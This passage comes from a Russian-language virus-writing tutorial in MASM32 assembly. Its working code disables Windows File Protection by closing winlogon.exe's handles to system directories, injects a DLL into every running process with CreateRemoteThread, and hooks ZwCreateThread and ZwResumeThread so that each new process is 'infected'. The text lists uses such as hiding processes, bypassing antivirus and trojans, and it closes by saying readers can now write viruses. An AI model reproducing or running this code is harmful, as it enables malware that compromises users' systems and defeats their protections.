woLength WORD ? ; len of string in bytes (not chars)
MaximumLength WORD ? ; len of Buffer in bytes (not chars)
Buffer DWORD ? ; pointer to string
UNICODE_STRING ENDS
System_Handle_Information struct
nHandleEntries DWORD ?
pHandleInfo DWORD ?
System_Handle_Information ends
CharUpperW PROTO :DWORD
lstrlenW PROTO :DWORD
STATUS_INFO_LENGTH_MISMATCH equ 0C0000004h
;===============================================================================;
; Initialized Data Section
;===============================================================================;
.data
Priv db "SeDebugPrivilege",0
ntdll db "NTDLL.DLL",0
FuncName db "NtQuerySystemInformation",0
FuncName2 db "NtQueryObject",0
pSystemHandleInfo dd 0
SizeBuffer dd 0
winlogon_str db "winlogon.exe",0
hWinlogon dd 0
WinDir1 dw "W","I","N","D","O","W","S","\","S","Y","S","T","E","M","3","2",0
WinDir2 dw "W","I","N","N","T","\","S","Y","S","T","E","M","3","2",0
;===============================================================================;
;===============================================================================;
; Uninitialized Data Section
;===============================================================================;
.data?
_NtQuerySystemInformation dd ?
_NtQueryObject dd ?
uBuff dd ?
WinLogon_Id dd ?
hCopy dd ?
ObjName label byte
Name UNICODE_STRING <?>
pBuffer db MAX_PATH+1 dup (?)
;===============================================================================;
;===============================================================================;
; Code Section
;===============================================================================;
.code
start:
call EnableDebugPrivilege;Теперь у нас отладочные привилегии
invoke GetModuleHandle,offset ntdll
invoke GetProcAddress,eax,offset FuncName
mov _NtQuerySystemInformation,eax
invoke GetModuleHandle,offset ntdll
invoke GetProcAddress,eax,offset FuncName2
mov _NtQueryObject,eax
;===============================================================================;
; Получаем описатель процесса Winlogon.exe
;===============================================================================;
push offset winlogon_str
call GetPIDbyName
mov WinLogon_Id,eax
invoke OpenProcess,PROCESS_DUP_HANDLE,0,eax
mov hWinlogon,eax
;===============================================================================;
;===============================================================================;
; Определям размер буфера для получения списка хэндлов
;===============================================================================;
push offset SizeBuffer
push 0
push 0
push 16;SystemHandleInformation
call _NtQuerySystemInformation
.if eax!=STATUS_INFO_LENGTH_MISMATCH
jmp end_calc_size
.endif
next_calc_size:
add SizeBuffer,01000h
.if pSystemHandleInfo!=0
invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE
.endif
invoke VirtualAlloc,NULL, SizeBuffer, MEM_COMMIT, PAGE_READWRITE
mov pSystemHandleInfo,eax
push offset uBuff
push SizeBuffer
push pSystemHandleInfo
push 16
call _NtQuerySystemInformation
.if eax==STATUS_INFO_LENGTH_MISMATCH
jmp next_calc_size
.endif
end_calc_size:
;===============================================================================;
;===============================================================================;
; Получаем все хэндлы и закрываем ненужные
;===============================================================================;
assume edi:ptr System_Handle_Information
mov edi,pSystemHandleInfo
mov ecx,[edi].nHandleEntries
add edi,4
;mov edi,[edi].pHandleInfo
assume edi:ptr Handle_Info
mov edx,0
next_handle:
push ecx
push edx
mov eax,[edi].Pid
.if eax==WinLogon_Id
invoke GetCurrentProcess
mov edx,eax
xor eax,eax
mov ax,[edi].HandleValue
invoke DuplicateHandle,hWinlogon,eax,edx,offset hCopy,0,0,DUPLICATE_SAME_ACCESS
.if eax!=0
push 0
push 214h;sizeof(ObjName)
push offset ObjName
push 1;ObjectNameInformation
push hCopy
call _NtQueryObject
.if eax==0;StatusSuccess
push edi
mov edi,offset ObjName
assume edi:ptr UNICODE_STRING
mov edi,[edi].Buffer
push edi
call CharUpperW
mov edi,offset ObjName
assume edi:ptr UNICODE_STRING
mov edi,[edi].Buffer
push edi
push offset WinDir1
call CompareStringBackwards
.if eax==1
jmp Yes
.elseif
jmp No
.endif
mov edi,offset ObjName
assume edi:ptr UNICODE_STRING
mov edi,[edi].Buffer
push edi
push offset WinDir2
call CompareStringBackwards
.if eax==1
jmp Yes
.elseif
jmp No
.endif
Yes:
invoke CloseHandle,hCopy
pop edi
assume edi:ptr Handle_Info
xor eax,eax
mov ax,[edi].HandleValue
invoke DuplicateHandle,hWinlogon,eax,-1,offset hCopy,0,0,\
DUPLICATE_CLOSE_SOURCE or DUPLICATE_SAME_ACCESS
invoke CloseHandle,hCopy
push edi
.endif
No:
pop edi
.endif
invoke CloseHandle,hCopy
.endif
pop edx
pop ecx
inc edx
.if edx>=ecx
invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE
invoke CloseHandle,hWinlogon
invoke TerminateProcess,-1,0
.endif
add edi,16
jmp next_handle
;===============================================================================;
;===============================================================================;
; Включить отладочные привилегии
;===============================================================================;
EnableDebugPrivilege proc
LOCAL hToken:DWORD
LOCAL tkp:TOKEN_PRIVILEGES
LOCAL ReturnLength:DWORD
LOCAL luid:LUID
mov eax,0
invoke OpenProcessToken,INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,ADDR hToken
invoke LookupPrivilegeValue,NULL,offset Priv,ADDR luid
.IF eax==0
invoke CloseHandle,hToken
ret
.ENDIF
mov tkp.PrivilegeCount,1
lea eax,tkp.Privileges
assume eax:ptr LUID_AND_ATTRIBUTES
push luid.LowPart
pop [eax].Luid.LowPart
push luid.HighPart
pop [eax].Luid.HighPart
mov [eax].Attributes,SE_PRIVILEGE_ENABLED
invoke AdjustTokenPrivileges,hToken,NULL,ADDR tkp,sizeof tkp,ADDR tkp,ADDR ReturnLength
invoke GetLastError
.IF eax!=ERROR_SUCCESS
ret
.ENDIF
invoke CloseHandle,hToken
mov eax,1
ret
EnableDebugPrivilege endp
;===============================================================================;
; Процесс по имени
;===============================================================================;
GetPIDbyName proc Str1:DWORD
LOCAL pe:PROCESSENTRY32
LOCAL hSnap:DWORD
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
mov hSnap,eax
mov pe.dwSize,sizeof pe
invoke Process32First,hSnap,addr pe
.if eax==0
ret
.endif
next_process:
invoke Process32Next,hSnap,addr pe
.if eax==0
ret
.endif
invoke lstrcmpi,addr pe.szExeFile,Str1
.if eax==0
mov eax,pe.th32ProcessID
ret
.endif
jmp next_process
GetPIDbyName endp
;===============================================================================;
;===============================================================================;
; Сравнить строки назад
;===============================================================================;
CompareStringBackwards proc pStr1:dword,pStr2:dword
LOCAL Len1:DWORD
LOCAL Len2:DWORD
push esi
push edi
invoke lstrlenW,pStr1
mov Len1,eax
invoke lstrlenW,pStr2
mov Len2,eax
mov eax,Len1
.if eax>Len2
mov eax,0
ret
.endif
mov edx,Len1
add edx,Len1
mov edi,pStr1
add edi,edx
mov edx,Len2
add edx,Len2
mov esi,pStr2
add esi,edx
mov ecx,Len1
inc ecx
std
repe cmpsw
add esi,2
add edi,2
xor eax,eax
xor edx,edx
mov ax,word ptr [esi]
mov dx,word ptr [edi]
.if (ecx==0)&&(eax==edx)
mov eax,1
pop edi
pop esi
ret
.else
mov eax,0
pop edi
pop esi
ret
.endif
CompareStringBackwards endp
end start
;===============================================================================;
; End Program
;===============================================================================;
Пример Закончен.
Глобальный перехват
Для установки в системе этого перехвата необходимо внедрить DLL в адресное пространство всех текущих процессов или просто
скопировать код в Shell-код стиле (если мы не используем DLL), а также всех процессов, которые запустятся потом. Для
внедрения во все текущие процессы используем Toolhelp-функции для перечисления процессов. Также можно использовать
функцию NtQuerySystemInformation, которая является Native для Toolhelp-функций, а также и для функций Enum... Вот код,
который устанавливает перехват для всех запущенных процессов:
Пример:
;===============================================================================;
; Options and Includes
;===============================================================================;
.386
option casemap:none
.model flat,stdcall
include \tools\masm32\include\windows.inc
includelib \tools\masm32\lib\kernel32.lib
include \tools\masm32\include\kernel32.inc
include \tools\masm32\include\user32.inc
includelib \tools\masm32\lib\user32.lib
include \tools\masm32\include\advapi32.inc
includelib \tools\masm32\lib\advapi32.lib
;===============================================================================;
;===============================================================================;
; Initialized Data Section
;===============================================================================;
.data
lib db "c:\\dll.dll",0;имя DLL, которую внедряем в чужой процесс
dwSize equ $-lib;Размер строки с именем DLL
kernelName db "kernel32.dll",0;Имя Kernel32.dll
loadlibraryName db "LoadLibraryA",0;Имя функции LoadLibraryA
_LoadLibrary dd 0;Адрес функции LoadLibrary
ParameterForLoadLibrary dd 0;Адрес строки с именем DLL в чужом процессе
;===============================================================================;
; Uninitialized Data Section
;===============================================================================;
.data?
;===============================================================================;
ThreadId dd ?;Идентификатор треда
hSnap dd ?
hProcess dd ?
ProcEntry PROCESSENTRY32 <?>
;===============================================================================;
; Code Section
;===============================================================================;
.code
ThreadProc proc
invoke Sleep,100000
ret
ThreadProc endp
start:
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
mov hSnap,eax
mov ProcEntry.dwSize,sizeof PROCESSENTRY32
invoke Process32First,hSnap,offset ProcEntry
NextProcess:
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION,\
0,ProcEntry.th32ProcessID;Открываем процесс куда будем внедрять DLL
mov hProcess,eax
invoke GetModuleHandle,offset kernelName;Получаем описатель модуля Kernel32.dll
invoke GetProcAddress,eax,offset loadlibraryName;Получаем адрес функции LoadLibrary
mov _LoadLibrary,eax
;Выделяем память в удаленном процессе
invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT,PAGE_READWRITE
mov ParameterForLoadLibrary,eax
;Запись строки с именем DLL в АП чужого процесса
invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL
;Создаем удаленный поток, который вызывает LoadLibrary,
;тем самым внедряем DLL в адресное пространство чужого процесса.
invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary,ParameterForLoadLibrary,\
NULL,offset ThreadId
invoke Process32Next,hSnap,offset ProcEntry
.if eax!=0
jmp NextProcess
.endif
invoke ExitProcess,0
end start
;===============================================================================;
; End Program
;===============================================================================;
Пример Закончен.
Чтобы глобально перехватывать функции можно использовать функцию SetWindowsHook. Тогда мы будет перехватывать нужную
функцию во всех текущих GUI-приложениях, а также новых, т.к. если мы вызываем функцию SetWindowsHook, то она внедряет
DLL и для всех новых процессов.
Другой способ в следующем. Необходимо перехватывать функции, которые создают процесс или которые вызываются при создании
процесса. Т.о. мы будет устанавливать перехват и для всех новых процессов. В ОС Windows существует много функций,
которые создают процессы - SHELL32.DLL!ShellExecute, KERNEL32.DLL!CreateProcess, NTDLL.DLL!NtCreateProcess. Нам
необходимо выяснить какие действия происходят при создании любого процесса, используя любую из функций создания
процессов в ОС.
Какой бы функцией не был создан процесс, при создании процесса вызывается функция ZwCreateThread. Вот ее прототип:
ZwCreateThread proc ThreadHandle1:DWORD, DesiredAccess: DWORD, \
ObjectAttributes:DWORD, ProcessHandle:DWORD, \
ClientId: DWORD, ThreadContext: DWORD, \
UserStack:DWORD, CreateSuspended: DWORD
В параметре ClientId содержиться указатель на структуру, которая называется CLIENTID. Она определена так:
CLIENTID struct
UniqueProcess DWORD 0
UniqueThread DWORD 0
CLIENTID ends
UniqueProcess - это идентификатор процесса в котором создается поток. Делаем так: в обработчике ZwCreateThread после
вызова нормальной функции ZwCreateThread проверяем UniqueProcess из структуры CLIENTID. Если это значение отличается
от идентификатора нашего процесса, то заражаем процесс. Но не тут-то было!!! При заражении процесса вызов LoadLibrary
окажется неудачным, потому что процесс еще не проинициализирован. Таким образом если идентификаторы нашего процесса и
нового не совпали, то мы просто устанавливаем флажок NewProcess. А мы знаем, что при создании процесса основной поток
приостановлен до тех пор, пока процесс не будет проинициализирован. После того как новый процесс будет
проинициализирован для основного потока вызывается функция ZwResumeThread. Значит и ее тоже надо перехватывать. Я
сделал 2 макроса, которые сохраняют и соответственно восстанавливают регистры ESI, EDI, EBX, EBP. Вот эти макросы:
startproc macro
push esi
push edi
push ebx
push ebp
endm
endproc macro pop ebp pop ebx pop edi pop esi endm
Взгляните на обработчик ZwCreateThread:
Пример:
NewZwCreateThread proc ThreadHandle1:DWORD, DesiredAccess: DWORD, \
ObjectAttributes:DWORD, ProcessHandle:DWORD, \
ClientId: DWORD, ThreadContext: DWORD, \
UserStack:DWORD, CreateSuspended: DWORD
startproc
invoke GetCurrentProcess
invoke WriteProcessMemory,eax,AddrCreateThread,offset Old_Code2,\
size_code2,0;снятие перехвата
push TRUE
push UserStack
push ThreadContext
push ClientId
push ProcessHandle
push ObjectAttributes
push DesiredAccess
push ThreadHandle1
call AddrCreateThread
push eax
mov eax,CurrProcess
mov edi,ClientId
assume edi:PTR CLIENTID
.if eax!=[edi].UniqueProcess
mov NewProcess,1
.endif
.if CreateSuspended==0
invoke ResumeThread,ThreadHandle1
.endif
invoke GetCurrentProcess
invoke WriteProcessMemory,eax,AddrCreateThread,offset code2,\
size_code2,0;установка перехвата
pop eax
endproc
ret
NewZwCreateThread endp
Пример Закончен.
Теперь нам надо перехватить ZwResumeThread. Вот ее прототип:
ZwResumeThread proc ThreadHandle1:DWORD, PriviousSuspendCount: DWORD
Как видите нам передается описатель потока, работа которого возобновляется. Нам необходимо получить id процесса, которому
принадлежит этот поток. Если этот id отличается от нашего id'а и установлен флаг NewProcess, то заражаем процесс. Id
процесса по описателю потока можно получить с помощью функции NtQueryInformationThread. Вот ее прототип:
ZwQueryInformationThread proc ThreadHandle:DWORD,ThreadInformationClass:DWORD,\
ThreadInformation:DWORD,ThreadInformationLength:DWORD, \
ReturnLength:DWORD
* ThreadHandle - описатель потока, о котором мы хотим узнать информацию.
* ThreadInformation - указатель на структуру THREAD_BASIC_INFORMATION в случае ThreadInformationLength равным 0.
Структура THREAD_BASIC_INFORMATION определена так:
THREAD_BASIC_INFORMATION struct
ExitSTatus DWORD 0
TebBaseAddress DWORD 0
ClientId CLIENTID <0>
AffinityMask DWORD 0
Priority DWORD 0
BasePriority DWORD 0
THREAD_BASIC_INFORMATION ends
Из вложенной структуры ClientId мы узнаем id процесса, которому принадлежит поток, т.к. при вызове функции
ZwQueryInformationThread заполняется структура THREAD_BASIC_INFORMATION.
А вот исходный код обработчика ZwResumeThread:
Пример:
NewZwResumeThread proc ThreadHandle1:DWORD, PriviousSuspendCount: DWORD
LOCAL ThreadInfo:THREAD_BASIC_INFORMATION
LOCAL hProcess: DWORD
startproc
invoke GetCurrentProcess
invoke WriteProcessMemory,eax,AddrResumeThread,offset Old_Code3,size_code3,0;снятие перехвата
invoke GetModuleHandle,offset nt
invoke GetProcAddress,eax,offset QueryInfoStr
push 0
push 28;sizeof THread Basic information
lea esi,ThreadInfo
push esi
push 0;ThreadBasicInfo
push ThreadHandle1
call eax;Вызов NtQueryInformationThread для получения id процесса из хэндла треда
lea esi,ThreadInfo.ClientId
assume esi:PTR CLIENTID
mov eax,[esi].UniqueProcess
.if eax!=CurrProcess
.if NewProcess==1
;заражаем новый процесс
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or \
PROCESS_VM_OPERATION,0,eax;Открываем процесс куда будем внедрять DLL
mov hProcess,eax
;Получаем описатель модуля Kernel32.dll
invoke GetModuleHandle,offset kern
;Получаем адрес функции LoadLibrary
invoke GetProcAddress,eax,offset loadlibraryName
mov _LoadLibrary,eax
invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT,\
PAGE_READWRITE;Выделяем память в удаленном процессе
mov ParameterForLoadLibrary,eax
;Запись строки с именем DLL в АП чужого процесса
invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL
;Создаем удаленный поток, который вызывает LoadLibrary,
;тем самым внедряем DLL в адресное пространство чужого процесса.
invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary,\
ParameterForLoadLibrary,NULL,offset ThreadId
invoke CloseHandle,hProcess
mov NewProcess,0
.endif
.endif
push PriviousSuspendCount
push ThreadHandle1
call AddrResumeThread
push eax
invoke GetCurrentProcess
invoke WriteProcessMemory,eax,AddrResumeThread,offset code3,size_code3,0;установка перехвата
pop eax
endproc
ret
NewZwResumeThread endp
Пример Закончен.
В архиве прилагаемой к статье в папке GlobalHooking находиться программа и ее исходный код, где перехватывается
MessageBoxA и MessageBoxW во всех текущих процессах и в новых.
Примеры использования перехвата вызовов функций
Вот список, где можно использовать перехват вызовов функций. Но он конечно не исчерпывающий.
* Брандмауэр
* Контроль сетевого трафика
* Скрытие файлов
* Скрытие сетевых соединений
* Скрытие процессов
* Продвинутое заражение
* Обход брандмауэра
* Обход антивируса
* Эмуляция другой ОС
* Взлом программ
* Троянские программы
Использованные источники и источники для дальнейших исследований
SEH и VEH
1. A Crash Course on the Depths of Win32T Structured Exception Handling [Matt Pietrek] http://www.microsoft.com
2. Обработка исключений Win32 для программистов на ассемблере [Jeremy Gordon] http://www.wasm.ru
3. SEH(Structured Exception Handling) на службе контрреволюции [Крис Касперски] http://www.insidepro.com
4. Эксплуатирование SEH в среде Win32. Часть первая. [houseofdabus] http://www.securitylab.ru
5. New Vectored Exception Handling in Windows XP [Matt Pietrek] http://www.microsoft.com
6. Централизованная обработка исключений [Беляев Алексей] http://www.rsdn.ru
Windows File Protection
1. Windows File Protection: How To Disable It On The Fly [Ntoskrnl] http://www.rootkit.com
API Hooking
1. Перехват API функций в Windows NT (часть 1). Основы перехвата. [Ms-Rem] http://www.wasm.ru
2. Перехват API функций в Windows NT (часть 2). Методы внедрения кода. [Ms-Rem] http://www.wasm.ru
3. Система перехвата функций API платформы Win32 [90210 / HI-TECH] http://www.wasm.ru
4. API hooking revealed [Ivo Ivanov] http://lib.training.ru/Lib/ArticleDetail.aspx?ar=1596&l=&mi=105&mic=352
5. API Spying [Сергей Холодилов] http://www.rsdn.ru
6. API Spying Techniques for Windows 9x, NT and 2000 [Yariv Kaplan] http://www.internals.com/articles/apispy/apispy.htm
7. HOWTO: Вызов функции в другом процессе [Сергей Холодилов] http://www.rsdn.ru
8. Перехват API-функций в Windows NT/2000/XP [Тихомиров В.А.] http://www.rsdn.ru
9. Перехват данных Internet Explorer [Matt Pietrek] http://www.codenet.ru/progr/visualc/ie.php
10. Per-process residency review: common mistakes [Bumblebee / 29A] http://vx.netlux.org
11. Hooking Windows API - Technics of hooking API functions on Windows [Holy Father] http://www.Assembly-Journal.com
Заключение
В этой главе мы рассмотрели несколько очень важных техник, без которых далеко не уйдешь. Они используются не только
при программировании вирусов, но и вообще в системном программировании. Теперь используя полученный материал, Вы можете
программировать любые локальные вирусы. Я понимаю, что этот материал нельзя освоить за один наскок, но Вы должны
стараться. Во всяком случае, Вы будете приближаться к истинному пониманию работы ОС Windows, ее идеологии, подводных
камнях и т.д. И наша задача заключается именно в понимании тонкостей работы ОС Windows. Я надеюсь, что не будете никому
вредить, используя полученные знания. Я категорически против деструкции в вирусах. Лучше напрягитесь и сделайте
какую-нибудь красивую или оригинальную полезную нагрузку, чтобы ЮЗВЕРЬ упал со стула от удивления, например, когда
его компьютер начнет пукать :)
Фотки и архив с примерами ищи в дире addons/green-to-red/*